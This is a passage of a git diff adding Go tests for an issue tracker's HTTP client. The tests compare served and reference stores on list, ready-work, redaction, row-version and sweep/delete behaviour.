gate proves the parameters round-trip through the server's own decoder; +// what it cannot prove is that the ROWS come back the same, because the derived +// exclusions the inversion inverts are applied by a query neither side of that +// gate runs. Here both sides run it. +// +// The fixtures are the spec's own pin list: the default rendering, `--all`, the +// `--include-*` variants, and a residual refusal. + +// seedWalkTree plants a two-level tree plus the rows the derived defaults are +// supposed to hide: a closed child, a template child and a gate child. +func seedWalkTree(t *testing.T, ctx context.Context, e *servedEnv) { + t.Helper() + rows := []*types.Issue{ + {ID: "wlk-root", Title: "root", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "wlk-open", Title: "open child", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "wlk-deep", Title: "grandchild", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "wlk-closed", Title: "closed child", Status: types.StatusClosed, IssueType: types.TypeTask}, + {ID: "wlk-template", Title: "template child", Status: types.StatusOpen, IssueType: types.TypeTask, IsTemplate: true}, + {ID: "wlk-gate", Title: "gate child", Status: types.StatusOpen, IssueType: types.IssueType("gate")}, + } + for _, row := range rows { + if err := e.createIssue(ctx, row, "seed"); err != nil { + t.Fatalf("seed %s: %v", row.ID, err) + } + } + for _, edge := range []*types.Dependency{ + {IssueID: "wlk-open", DependsOnID: "wlk-root", Type: types.DepParentChild}, + {IssueID: "wlk-closed", DependsOnID: "wlk-root", Type: types.DepParentChild}, + {IssueID: "wlk-template", DependsOnID: "wlk-root", Type: types.DepParentChild}, + {IssueID: "wlk-gate", DependsOnID: "wlk-root", Type: types.DepParentChild}, + {IssueID: "wlk-deep", DependsOnID: "wlk-open", Type: types.DepParentChild}, + } { + if err := e.addDependency(ctx, edge, "seed"); err != nil { + t.Fatalf("seed edge %s: %v", edge.IssueID, err) + } + } +} + +// walkOverBoth runs one level of the walk against both stores. +// +// It reproduces findAllDescendants' own mutation exactly — a value copy of the +// built filter with ParentID re-pointed and Limit zeroed — because the whole +// question is whether the filter the CLI hands the store crosses intact. +func walkOverBoth(t *testing.T, ctx context.Context, e *servedEnv, in issueops.ListRequest, parent string) (local, remote []string, remoteErr error) { + t.Helper() + cfg, err := workapi.LoadStoreListConfig(ctx, e.reference) + if err != nil { + t.Fatalf("load the reference vocabulary: %v", err) + } + filter, err := workapi.BuildListFilter(in, cfg) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + filter.ParentID = &parent + filter.Limit = 0 + // Every text rendering of `bd list` sets this, so the filter under test is + // the one the walk really receives. + filter.SkipCounts = true + + localRows, err := e.reference.SearchIssues(ctx, "", filter) + if err != nil { + t.Fatalf("reference SearchIssues: %v", err) + } + remoteRows, remoteErr := e.subject.SearchIssues(ctx, "", filter) + return issueIDs(localRows), issueIDs(remoteRows), remoteErr +} + +func issueIDs(rows []*types.Issue) []string { + out := make([]string, 0, len(rows)) + for _, row := range rows { + out = append(out, row.ID) + } + sort.Strings(out) + return out +} + +// TestTheParentWalkAnswersTheSameRowsOverHTTP is the dual run D4's pin list asks +// for. +func TestTheParentWalkAnswersTheSameRowsOverHTTP(t *testing.T) { + e := newServedEnv(t, "wlk") + ctx := t.Context() + seedWalkTree(t, ctx, e) + + for _, tc := range []struct { + name string + in issueops.ListRequest + want []string + }{ + { + // The fixture D4 exists for: a bare `bd list --parent `, whose + // filter carries ExcludeStatus, Pinned, IsTemplate, the gate and + // infra exclusions and SkipWisps — none of which the wire publishes, + // and all of which the server re-derives from their own absence. It + // fails outright if the inversion is wrong in either direction. + name: "the default text rendering", + in: issueops.ListRequest{}, + want: []string{"wlk-open"}, + }, + { + name: "--all admits the closed child", + in: issueops.ListRequest{AllFlag: true}, + want: []string{"wlk-closed", "wlk-open"}, + }, + { + name: "--include-templates admits the template child", + in: issueops.ListRequest{IncludeTemplates: true}, + want: []string{"wlk-open", "wlk-template"}, + }, + { + name: "--include-gates admits the gate child", + in: issueops.ListRequest{IncludeGates: true}, + want: []string{"wlk-gate", "wlk-open"}, + }, + { + name: "--status closed selects only the closed child", + in: issueops.ListRequest{Status: "closed"}, + want: []string{"wlk-closed"}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + local, remote, err := walkOverBoth(t, ctx, e, tc.in, "wlk-root") + if err != nil { + t.Fatalf("the http walk refused: %v", err) + } + if !equalIDs(local, tc.want) { + t.Fatalf("the REFERENCE answered %v, the fixture expects %v — the fixture is wrong, not the client", local, tc.want) + } + if !equalIDs(remote, local) { + t.Errorf("http answered %v, the reference answered %v", remote, local) + } + }) + } +} + +// TestTheParentWalkRefusesAResidualOverHTTP is the residual-refusal case from +// the same pin list, run end to end: the refusal has to happen in the client, +// before a request that would answer a wider question is built. +func TestTheParentWalkRefusesAResidualOverHTTP(t *testing.T) { + e := newServedEnv(t, "wlr") + ctx := t.Context() + seedWalkTree(t, ctx, e) + + _, _, err := walkOverBoth(t, ctx, e, issueops.ListRequest{ExcludeTypes: []string{"chore"}}, "wlk-root") + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("a --exclude-type walk returned %v, want a refusal", err) + } + var refusal *encode.RefusedError + if errors.As(err, &refusal) && refusal.Row.ID != "P-IssueFilter.ExcludeTypes" { + t.Errorf("the refusal cites %q, want P-IssueFilter.ExcludeTypes", refusal.Row.ID) + } +} + +// TestTheReadyBridgeAnswersTheSameRowsOverHTTP is the other half of the text +// bridge: `bd ready`'s listing, which is still raw at tip. +// +// It feeds the filter workapi.BuildReadyFilter actually builds — Status=StatusOpen +// and all — rather than a hand-built WorkFilter{}. That hand-built shape, whose +// empty status the reference store reads as open+in_progress, is exactly what +// masked the ship blocker: the pre-fix bridge refused the StatusOpen every real +// `bd ready` carries, and a fixture that never sent one could not see it. The +// seeded in_progress row makes the open-only derivation observable. +func TestTheReadyBridgeAnswersTheSameRowsOverHTTP(t *testing.T) { + e := newServedEnv(t, "rdy") + ctx := t.Context() + + for _, row := range []*types.Issue{ + {ID: "rdy-1", Title: "ready one", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 1}, + {ID: "rdy-2", Title: "ready two", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 2, Assignee: "ada"}, + {ID: "rdy-3", Title: "in progress", Status: types.StatusInProgress, IssueType: types.TypeTask, Priority: 1}, + {ID: "rdy-4", Title: "closed", Status: types.StatusClosed, IssueType: types.TypeTask}, + } { + if err := e.createIssue(ctx, row, "seed"); err != nil { + t.Fatalf("seed %s: %v", row.ID, err) + } + } + + for _, tc := range []struct { + name string + req issueops.ReadyRequest + }{ + {"an unfiltered listing", issueops.ReadyRequest{Sort: "priority"}}, + {"an assignee filter", issueops.ReadyRequest{Assignee: "ada", Sort: "priority"}}, + {"a bounded page", issueops.ReadyRequest{Sort: "priority", Limit: ptrTo(1)}}, + } { + t.Run(tc.name, func(t *testing.T) { + // The one shape the CLI produces: workapi.BuildReadyFilter stamps + // Status=StatusOpen, which the pre-fix bridge refused on sight. + filter, err := workapi.BuildReadyFilter(tc.req) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + local, err := e.reference.GetReadyWork(ctx, filter) + if err != nil { + t.Fatalf("reference GetReadyWork: %v", err) + } + remote, err := e.subject.GetReadyWork(ctx, filter) + if err != nil { + t.Fatalf("http GetReadyWork: %v", err) + } + if !equalIDs(issueIDs(remote), issueIDs(local)) { + t.Errorf("http answered %v, the reference answered %v", issueIDs(remote), issueIDs(local)) + } + }) + } +} + +// TestTheReadyBridgeDualRunsBuildReadyFilterOverBothReadPaths is the ship-blocker +// regression pin (ga-b8ddd.13). Every real `bd ready` and `bd ready --json` builds +// its filter through workapi.BuildReadyFilter, which stamps Status=StatusOpen — the +// value the pre-fix bridge refused, so every http invocation failed before it +// dialed. This pushes that exact filter through BOTH read paths, the text +// GetReadyWork and the --json GetReadyWorkWithCounts, and byte-compares the http +// answer against the reference store's own. The in_progress and closed rows make +// the open-only derivation observable: a bridge that sent the wrong status, or a +// server that re-derived open+in_progress, would diverge here rather than pass. +func TestTheReadyBridgeDualRunsBuildReadyFilterOverBothReadPaths(t *testing.T) { + e := newServedEnv(t, "rdd") + ctx := t.Context() + + for _, row := range []*types.Issue{ + {ID: "rdd-open-hi", Title: "open high", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 0}, + {ID: "rdd-open-lo", Title: "open low", Status: types.StatusOpen, IssueType: types.TypeTask, Priority: 3, Assignee: "ada"}, + {ID: "rdd-inprog", Title: "in progress", Status: types.StatusInProgress, IssueType: types.TypeTask, Priority: 0}, + {ID: "rdd-closed", Title: "closed", Status: types.StatusClosed, IssueType: types.TypeTask}, + } { + if err := e.createIssue(ctx, row, "seed"); err != nil { + t.Fatalf("seed %s: %v", row.ID, err) + } + } + + for _, tc := range []struct { + name string + req issueops.ReadyRequest + }{ + {"the default listing", issueops.ReadyRequest{Sort: "priority"}}, + {"an assignee filter", issueops.ReadyRequest{Assignee: "ada", Sort: "priority"}}, + {"a bounded page", issueops.ReadyRequest{Sort: "priority", Limit: ptrTo(1)}}, + } { + t.Run(tc.name, func(t *testing.T) { + filter, err := workapi.BuildReadyFilter(tc.req) + if err != nil { + t.Fatalf("BuildReadyFilter: %v", err) + } + if filter.Status != types.StatusOpen { + t.Fatalf("BuildReadyFilter produced Status=%q, want the StatusOpen this regression is about", filter.Status) + } + + // The text path (`bd ready`). + localText, err := e.reference.GetReadyWork(ctx, filter) + if err != nil { + t.Fatalf("reference GetReadyWork: %v", err) + } + remoteText, err := e.subject.GetReadyWork(ctx, filter) + if err != nil { + t.Fatalf("http GetReadyWork refused the BuildReadyFilter shape: %v", err) + } + assertSameJSON(t, "GetReadyWork", localText, remoteText) + + // The --json path (`bd ready --json`). + localCounts, err := e.reference.GetReadyWorkWithCounts(ctx, filter) + if err != nil { + t.Fatalf("reference GetReadyWorkWithCounts: %v", err) + } + remoteCounts, err := e.subject.GetReadyWorkWithCounts(ctx, filter) + if err != nil { + t.Fatalf("http GetReadyWorkWithCounts refused the BuildReadyFilter shape: %v", err) + } + assertSameJSON(t, "GetReadyWorkWithCounts", localCounts, remoteCounts) + + // The --json path with its in-band total (upstream #6731): the + // same page, and the size of the whole ready set. "a bounded + // page" comes back truncated, so it exercises the countReadyWork + // round trip; the others answer from has_more alone. + localPage, localTotal, err := e.reference.GetReadyWorkWithCountsAndTotal(ctx, filter) + if err != nil { + t.Fatalf("reference GetReadyWorkWithCountsAndTotal: %v", err) + } + remotePage, remoteTotal, err := e.subject.GetReadyWorkWithCountsAndTotal(ctx, filter) + if err != nil { + t.Fatalf("http GetReadyWorkWithCountsAndTotal: %v", err) + } + assertSameJSON(t, "GetReadyWorkWithCountsAndTotal", localPage, remotePage) + if remoteTotal != localTotal { + t.Errorf("http total = %d, the reference answered %d", remoteTotal, localTotal) + } + unbounded := filter + unbounded.Limit = 0 + all, err := e.reference.GetReadyWorkWithCounts(ctx, unbounded) + if err != nil { + t.Fatalf("reference unbounded GetReadyWorkWithCounts: %v", err) + } + if remoteTotal != len(all) { + t.Errorf("http total = %d, want the unbounded listing's %d", remoteTotal, len(all)) + } + + // Open-only is re-derived server-side from the status the bridge + // dropped: neither the in_progress nor the closed row may appear. + for _, got := range issueIDs(remoteText) { + if got == "rdd-inprog" || got == "rdd-closed" { + t.Errorf("ready work admitted %q; open-only was not re-derived", got) + } + } + }) + } +} + +// TestTheReadyBridgeRefusesAnInexpressibleFilter is L12 at the seam: a filter +// field with no wire parameter refuses rather than being dropped, because a +// dropped filter widens the answer invisibly. +// +// The examples are GENUINELY non-default: an in_progress restriction and a +// multi-status OR set, neither of which workapi.BuildReadyFilter ever produces. +// StatusOpen is deliberately absent — it is the derived default the bridge now +// drops, and asserting a refusal on it (as this test once did) is what cemented +// the ship blocker. +func TestTheReadyBridgeRefusesAnInexpressibleFilter(t *testing.T) { + e := newServedEnv(t, "rdr") + + for _, tc := range []struct { + name string + filter types.WorkFilter + row string + }{ + { + "an in_progress restriction the wire cannot state", + types.WorkFilter{Status: types.StatusInProgress}, + "E-WorkFilter.Status", + }, + { + // The derived-default Status passes the inversion; the populated + // OR-set the wire cannot carry still refuses on the residual sweep. + "a multi-status OR set", + types.WorkFilter{Status: types.StatusOpen, Statuses: []types.Status{types.StatusOpen, types.StatusInProgress}}, + "E-WorkFilter.Statuses", + }, + { + // An id exclusion set has no ready parameter; dropping it would + // list (and count) the very rows the caller excluded. + "an id exclusion set", + types.WorkFilter{Status: types.StatusOpen, ExcludeIDs: []string{"rdr-1"}}, + "E-WorkFilter.ExcludeIDs", + }, + } { + t.Run(tc.name, func(t *testing.T) { + _, err := e.subject.GetReadyWork(t.Context(), tc.filter) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("%s returned %v, want a refusal", tc.name, err) + } + var refusal *encode.RefusedError + if errors.As(err, &refusal) && refusal.Row.ID != tc.row { + t.Errorf("the refusal cites %q, want %q", refusal.Row.ID, tc.row) + } + // The in-band-total listing refuses the same filter the same way, + // before either request: its count encoder is the listing's. + _, _, err = e.subject.GetReadyWorkWithCountsAndTotal(t.Context(), tc.filter) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("GetReadyWorkWithCountsAndTotal: %s returned %v, want a refusal", tc.name, err) + } + if errors.As(err, &refusal) && refusal.Row.ID != tc.row { + t.Errorf("GetReadyWorkWithCountsAndTotal: the refusal cites %q, want %q", refusal.Row.ID, tc.row) + } + }) + } +} + +// TestTheReadyBridgeEnforcesMaxRowsClientSide is D12 on the cursorless +// operation: the wire publishes no max_rows, so the cap is synthesized into the +// sentinel `bd ready` classifies into exit 2. +func TestTheReadyBridgeEnforcesMaxRowsClientSide(t *testing.T) { + e := newServedEnv(t, "rmx") + ctx := t.Context() + + for _, id := range []string{"rmx-1", "rmx-2"} { + if err := e.createIssue(ctx, &types.Issue{ID: id, Title: id, Status: types.StatusOpen, IssueType: types.TypeTask}, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + + // The derived-default status the bridge drops; an empty status now refuses, + // so the cap is exercised on the shape `bd ready` actually sends. + if _, err := e.subject.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}); err != nil { + t.Fatalf("an uncapped listing: %v", err) + } + _, err := e.subject.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen, MaxRows: 1, MaxRowsSource: "--max-rows"}) + var tooMany *storageops.ErrTooManyRows + if !errors.As(err, &tooMany) { + t.Fatalf("the cap did not fire: %v", err) + } + if tooMany.Cap != 1 || tooMany.Source != "--max-rows" { + t.Errorf("the synthesized cap error = %+v, want Cap 1 attributed to --max-rows", tooMany) + } +} + +// TestTheParentExistenceProbeCrossesTheWire is the raw GetIssue the walk runs +// before it descends: a miss is (nil, nil), because getHierarchicalChildren +// reads a nil result as "parent issue not found" and an error would print the +// transport's vocabulary in its place. +func TestTheParentExistenceProbeCrossesTheWire(t *testing.T) { + e := newServedEnv(t, "prb") + ctx := t.Context() + + if err := e.createIssue(ctx, &types.Issue{ID: "prb-1", Title: "present", Status: types.StatusOpen, IssueType: types.TypeTask}, "seed"); err != nil { + t.Fatalf("seed: %v", err) + } + + got, err := e.subject.GetIssue(ctx, "prb-1") + if err != nil || got == nil || got.ID != "prb-1" { + t.Fatalf("GetIssue on a hit = (%v, %v)", got, err) + } + if got, err = e.subject.GetIssue(ctx, "prb-nope"); err != nil || got != nil { + t.Errorf("GetIssue on a miss = (%v, %v), want (nil, nil)", got, err) + } +} + +// TestBridgeGetIssuePopulatesRowVersionForAGuardedWrite is HIGH 5's second pin: +// the raw bridge GetIssue above returns a hit by value with no RowVersion +// assertion, same as the molecule loader's existence probe +// (internal/molecules/molecules.go) that is this method's other caller — so a +// stitched-at-zero regression here would have shipped silently next to the +// passing test above it. +// +// types.Issue.RowVersion is json:"-"; getIssue's wire body carries the same +// token under Revision instead, and bridge.go's GetIssue must stitch it back +// onto the issue it returns, exactly as Reader.Get does in role_reader.go +// (pinned by TestServedReaderGetPopulatesRowVersionForAGuardedWrite). This +// proves it the same way: by guarding a write with whatever GetIssue just +// answered, over the same wire, and requiring a second write that reuses the +// now-stale token to be refused. A read alone cannot tell a stitched zero from +// a real one that happens to equal it on a fresh table — only a guard that +// the write actually enforces can. +func TestBridgeGetIssuePopulatesRowVersionForAGuardedWrite(t *testing.T) { + e := newServedEnv(t, "brgv") + ctx := t.Context() + lifecycle, err := e.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + issue := &types.Issue{Title: "bridge row version round trip", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := e.createIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed: %v", err) + } + + got, err := e.subject.GetIssue(ctx, issue.ID) + if err != nil || got == nil { + t.Fatalf("GetIssue: (%v, %v)", got, err) + } + if got.RowVersion == 0 { + t.Fatalf("GetIssue answered RowVersion 0; want the row's real token") + } + staleVersion := got.RowVersion + + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("first guarded write")}, + }); err != nil { + t.Fatalf("Update guarded by the token GetIssue answered: %v", err) + } + + _, err = lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("second guarded write, same stale token")}, + }) + if err == nil { + t.Fatal("Update reused GetIssue's token after a write moved the row past it; want a version-guard refusal") + } +} + +// TestSearchIssuesExactIDPopulatesRowVersionForAGuardedWrite pins the same +// stitch as TestBridgeGetIssuePopulatesRowVersionForAGuardedWrite, for +// SearchIssues' own exact-id fast path (getIssuesByExactID in resolve.go) +// rather than the raw bridge GetIssue. That path decodes the same +// apigen.ContextResponse-shaped IssueDetails getIssue does, but — unlike +// bridge.go's GetIssue and role_reader.go's Reader.Get — it never parsed +// details.Revision, so SearchIssues(ctx, "", IssueFilter{IDs: ...}) answered +// RowVersion 0 for a row every other read path reports a real token for. This +// proves the stitch the same way the bridge test does: by guarding a write +// with whatever the exact-id search just answered, over the same wire, and +// requiring a second write that reuses the now-stale token to be refused. +func TestSearchIssuesExactIDPopulatesRowVersionForAGuardedWrite(t *testing.T) { + e := newServedEnv(t, "sixi") + ctx := t.Context() + lifecycle, err := e.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + issue := &types.Issue{Title: "exact-id search row version round trip", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := e.createIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed: %v", err) + } + + rows, err := e.subject.SearchIssues(ctx, "", types.IssueFilter{IDs: []string{issue.ID}}) + if err != nil { + t.Fatalf("SearchIssues(exact id): %v", err) + } + if len(rows) != 1 || rows[0] == nil { + t.Fatalf("SearchIssues(exact id) = %+v, want exactly one hit", rows) + } + if rows[0].RowVersion == 0 { + t.Fatalf("SearchIssues(exact id) answered RowVersion 0; want the row's real token") + } + staleVersion := rows[0].RowVersion + + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("first guarded write")}, + }); err != nil { + t.Fatalf("Update guarded by the token SearchIssues answered: %v", err) + } + + _, err = lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "writer", IssueID: issue.ID, ExpectedVersion: &staleVersion, + Patch: issueops.IssuePatch{Title: set("second guarded write, same stale token")}, + }) + if err == nil { + t.Fatal("Update reused SearchIssues' token after a write moved the row past it; want a version-guard refusal") + } +} + +// TestServedWorkspaceConfigWritesRefuse IS GONE, and what it asserted is worth a +// line rather than a silent deletion: while D8 row 11 was PARTIAL, the two write +// verbs refused per METHOD and named themselves, so the accessor could serve the +// reads without the writes silently becoming no-ops. Upstream #5596 published +// both operations and client wave ga-jpywb dials them, so there is no refusal +// left to pin — served_config_test.go runs the whole role contract instead, and +// served_config_write_test.go pins the three things only this leg has. +// +// TestServedRedactedSettingIsAbsentWithReason is ledger row L9, and the reason +// this backend gives ONE answer per key: a withheld value is not the same fact +// as an unset one, so both the raw probe and the role report the withholding +// rather than returning an empty string a caller would read as "nothing stored". +func TestServedRedactedSettingIsAbsentWithReason(t *testing.T) { + e := newServedEnv(t, "red") + ctx := t.Context() + + if err := e.setConfig(ctx, "github.api_token", "ghp-supersecret"); err != nil { + t.Fatalf("seed the credential-bearing key: %v", err) + } + + if _, err := e.subject.GetConfig(ctx, "github.api_token"); !errors.Is(err, ErrSettingRedacted) { + t.Errorf("GetConfig on a redacted key = %v, want ErrSettingRedacted", err) + } + settings, err := e.subject.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + if _, err := settings.GetSetting(ctx, issueops.GetSettingRequest{Key: "github.api_token"}); !errors.Is(err, ErrSettingRedacted) { + t.Errorf("GetSetting on a redacted key = %v, want the same answer the raw probe gives", err) + } + + // The ENUMERATION cannot fail over one key of many, so it lists the key with + // an empty value: the workspace really does store something there. + all, err := e.subject.GetAllConfig(ctx) + if err != nil { + t.Fatalf("GetAllConfig: %v", err) + } + if value, ok := all["github.api_token"]; !ok || value != "" { + t.Errorf("GetAllConfig gave the redacted key (%q, present=%v), want present and empty", value, ok) + } +} + +// TestServedStatisticsProbeAnswersTruthfully is D4's off-role stats row: the +// empty-state probe `bd ready` prints "No open issues" from, which must answer +// from the SERVER rather than fail into a false statement. +func TestServedStatisticsProbeAnswersTruthfully(t *testing.T) { + e := newServedEnv(t, "stp") + ctx := t.Context() + + before, err := e.subject.GetStatistics(ctx) + if err != nil { + t.Fatalf("GetStatistics on an empty workspace: %v", err) + } + if err := e.createIssue(ctx, &types.Issue{ID: "stp-1", Title: "open work", Status: types.StatusOpen, IssueType: types.TypeTask}, "seed"); err != nil { + t.Fatalf("seed: %v", err) + } + after, err := e.subject.GetStatistics(ctx) + if err != nil { + t.Fatalf("GetStatistics: %v", err) + } + if after.OpenIssues != before.OpenIssues+1 { + t.Errorf("open issues went %d -> %d across one seeded row", before.OpenIssues, after.OpenIssues) + } +} + +// TestServedVocabularyReadsDegradeRatherThanFail is L7: the client-side status +// and type vocabulary comes from the pre-migration config keys, which are its +// only wire-visible source, and the reads must never hard-fail — every one of +// them is wrapped by LoadStoreListConfig in a failure that would kill `bd list`. +func TestServedVocabularyReadsDegradeRatherThanFail(t *testing.T) { + e := newServedEnv(t, "voc") + ctx := t.Context() + + // Seeded OUT OF ALPHABETICAL ORDER on purpose: the read answers in NAME + // order, which is what every leg's projected-table read answers, and not in + // the order the config string happens to list them. + if err := e.setConfig(ctx, "types.custom", "spike,chore"); err != nil { + t.Fatalf("seed types.custom: %v", err) + } + if err := e.setConfig(ctx, "status.custom", "shipped:done"); err != nil { + t.Fatalf("seed status.custom: %v", err) + } + + custom, err := e.subject.GetCustomTypes(ctx) + if err != nil { + t.Fatalf("GetCustomTypes: %v", err) + } + if len(custom) != 2 || custom[0] != "chore" || custom[1] != "spike" { + t.Errorf("GetCustomTypes = %v, want [chore spike] — ordered by name, as the table read every other leg makes is", custom) + } + + statuses, err := e.subject.GetCustomStatusesDetailed(ctx) + if err != nil { + t.Fatalf("GetCustomStatusesDetailed: %v", err) + } + if len(statuses) != 1 || statuses[0].Name != "shipped" || statuses[0].Category != types.CategoryDone { + t.Errorf("GetCustomStatusesDetailed = %+v, want shipped:done", statuses) + } + + // The infra vocabulary has no error channel at all, so an unconfigured + // workspace must still answer the defaults rather than an empty map — an + // empty one says "nothing is infrastructure" and admits agent and message + // rows into every default listing. + if infra := e.subject.GetInfraTypes(ctx); !infra["agent"] || !infra["message"] { + t.Errorf("GetInfraTypes = %v, want the defaults", infra) + } +} + +func equalIDs(a, b []string) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if a[i] != b[i] { + return false + } + } + return true +} diff --git a/internal/httpclient/served_bulk_test.go b/internal/httpclient/served_bulk_test.go new file mode 100644 index 000000000..6a02fed37 --- /dev/null +++ b/internal/httpclient/served_bulk_test.go @@ -0,0 +1,820 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_bulk_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Sweeper, Deleter and BatchCreator contracts against the served surface. +// +// The three roles sit at very different distances from the wire, and the parks +// below say where each one stops: +// +// - SWEEP maps whole, in both directions. Every case runs. +// - DELETE maps its whole REQUEST and diverges only in its refusal +// VOCABULARY: the wire flattens *NotFoundError and +// *DependentsOutsideRequestError into a bare sentinel and a 400. Four cases +// bind those typed errors and park; the behavior underneath them — the +// request fails and nothing is deleted — is asserted for real by the two +// bespoke cases below, so the rows retire loudly rather than sitting behind +// a skip. +// - BATCH CREATE maps eight content members of a whole types.Issue, and every +// case that names an explicit id parks with it. That is most of the family, +// because the contract's own preamble says why: "Every case names its own +// ids under the fixture prefix and passes ForceIDPrefix." Three bespoke +// cases below cover the same ground with server-generated ids. +// +// The bead that owns every park here, and unparks each one as the wire grows +// the member behind it. +const bulkParkBead = "ga-6lbny" + +// ── Sweeper ───────────────────────────────────────────────────────────────── + +func newServedSweeperFixture(t *testing.T, prefix string) conformance.SweeperFixture { + t.Helper() + env := newServedEnv(t, prefix) + sweeper, err := env.subject.Sweeper() + if err != nil { + t.Fatalf("Sweeper(): %v", err) + } + return conformance.SweeperFixture{ + IssuePrefix: env.prefix, + Sweeper: sweeper, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + CommitPending: env.commitPending, + AddComment: env.addComment, + // Exec is the harness's own raw door, the one the close/reopen cases + // already use. The tier-boundary case needs a LEGACY typed wisp — issues + // plane, wisp_type set, ephemeral 0 — and no create verb can mint one, + // on this leg least of all: the wire has no raw-row surface, so the + // served store reaches the shape through the embedded database behind + // the server and then exercises the sweep over the wire as usual. + Exec: env.exec, + } +} + +func TestServedSweeperRefusesAnUnfilteredDurableSweep(t *testing.T) { + conformance.RunSweeperRefusesAnUnfilteredDurableSweep(t, t.Context(), newServedSweeperFixture(t, "hs00")) +} + +func TestServedSweeperRefusesAMalformedRequest(t *testing.T) { + conformance.RunSweeperRefusesAMalformedRequest(t, t.Context(), newServedSweeperFixture(t, "hs01")) +} + +func TestServedSweeperClearsOneTierAndLeavesTheOther(t *testing.T) { + conformance.RunSweeperClearsOneTierAndLeavesTheOther(t, t.Context(), newServedSweeperFixture(t, "hs02")) +} + +func TestServedSweeperTreatsALegacyTypedWispAsEphemeralTier(t *testing.T) { + conformance.RunSweeperTreatsALegacyTypedWispAsEphemeralTier(t, t.Context(), newServedSweeperFixture(t, "hs11")) +} + +func TestServedSweeperLeavesNoHistoryBeadsToTheDurableTier(t *testing.T) { + conformance.RunSweeperLeavesNoHistoryBeadsToTheDurableTier(t, t.Context(), newServedSweeperFixture(t, "hs12")) +} + +func TestServedSweeperProtectsPinnedRows(t *testing.T) { + conformance.RunSweeperProtectsPinnedRows(t, t.Context(), newServedSweeperFixture(t, "hs03")) +} + +func TestServedSweeperHonorsTheCutoffAndThePattern(t *testing.T) { + conformance.RunSweeperHonorsTheCutoffAndThePattern(t, t.Context(), newServedSweeperFixture(t, "hs04")) +} + +func TestServedSweeperDryRunChangesNothing(t *testing.T) { + conformance.RunSweeperDryRunChangesNothing(t, t.Context(), newServedSweeperFixture(t, "hs05")) +} + +func TestServedSweeperProtectsRowsCitedFromAWispComment(t *testing.T) { + conformance.RunSweeperProtectsRowsCitedFromAWispComment(t, t.Context(), newServedSweeperFixture(t, "hs06")) +} + +func TestServedSweeperProtectsCitedRows(t *testing.T) { + conformance.RunSweeperProtectsCitedRows(t, t.Context(), newServedSweeperFixture(t, "hs07")) +} + +func TestServedSweeperEmptyMatchIsZeroAndNil(t *testing.T) { + conformance.RunSweeperEmptyMatchIsZeroAndNil(t, t.Context(), newServedSweeperFixture(t, "hs08")) +} + +func TestServedSweeperRecordsExactlyOneHistoryEntry(t *testing.T) { + conformance.RunSweeperRecordsExactlyOneHistoryEntry(t, t.Context(), newServedSweeperFixture(t, "hs09")) +} + +func TestServedSweeperDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunSweeperDoesNotMutateTheCallerRequest(t, t.Context(), newServedSweeperFixture(t, "hs10")) +} + +// ── Deleter ───────────────────────────────────────────────────────────────── + +func newServedDeleterFixture(t *testing.T, prefix string) conformance.DeleterFixture { + t.Helper() + env := newServedEnv(t, prefix) + deleter, err := env.subject.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + return conformance.DeleterFixture{ + IssuePrefix: env.prefix, + Deleter: deleter, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + AddDependency: env.addDependency, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + CommitPending: env.commitPending, + } +} + +func TestServedDeleterRefusesAMalformedRequest(t *testing.T) { + conformance.RunDeleterRefusesAMalformedRequest(t, t.Context(), newServedDeleterFixture(t, "hx00")) +} + +func TestServedDeleterRefusesAnAbsentID(t *testing.T) { + skipKnownDivergence(t, "L-delete-notfound", bulkParkBead, parkDeleteNotFound) + conformance.RunDeleterRefusesAnAbsentID(t, t.Context(), newServedDeleterFixture(t, "hx01")) +} + +func TestServedDeleterRefusesDependentsOutsideTheRequest(t *testing.T) { + skipKnownDivergence(t, "L-delete-dependents", bulkParkBead, parkDeleteDependents) + conformance.RunDeleterRefusesDependentsOutsideTheRequest(t, t.Context(), newServedDeleterFixture(t, "hx02")) +} + +func TestServedDeleterForceOrphansDependents(t *testing.T) { + 